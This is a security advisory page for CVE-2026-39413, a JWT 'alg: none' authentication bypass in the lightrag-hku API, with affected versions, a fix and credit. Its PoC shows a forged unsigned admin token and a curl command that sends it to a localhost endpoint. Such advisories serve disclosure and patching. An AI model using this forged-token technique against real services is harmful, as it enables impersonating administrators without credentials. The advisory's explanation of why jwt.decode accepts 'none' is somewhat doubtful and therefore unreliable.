CVE-2026-39413: lightrag-hku: JWT Algorithm Confusion Vulnerability
Summary The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.
Published Apr 8, 2026 · Updated May 9, 2026
Affected packages
lightrag-hku
- Ecosystem
- PyPI
- Affected
- <= 1.4.13
- Fixed in
- 1.4.14
- Check
pip show lightrag-hku
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.
Details
In lightrag/api/auth.py at line 128, the validate_token method calls:
payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.
PoC
An attacker can generate a JWT with the following structure:
{
"header": {
"alg": "none",
"typ": "JWT"
},
"payload": {
"sub": "admin",
"exp": 1700000000,
"role": "admin"
}
}Then send a request like:
curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpointImpact
An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.
Recommended Fix
Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:
allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)Or better yet, hardcode the expected algorithm(s):
payload = jwt.decode(token, self.secret, algorithms=['HS256'])Credited to offset.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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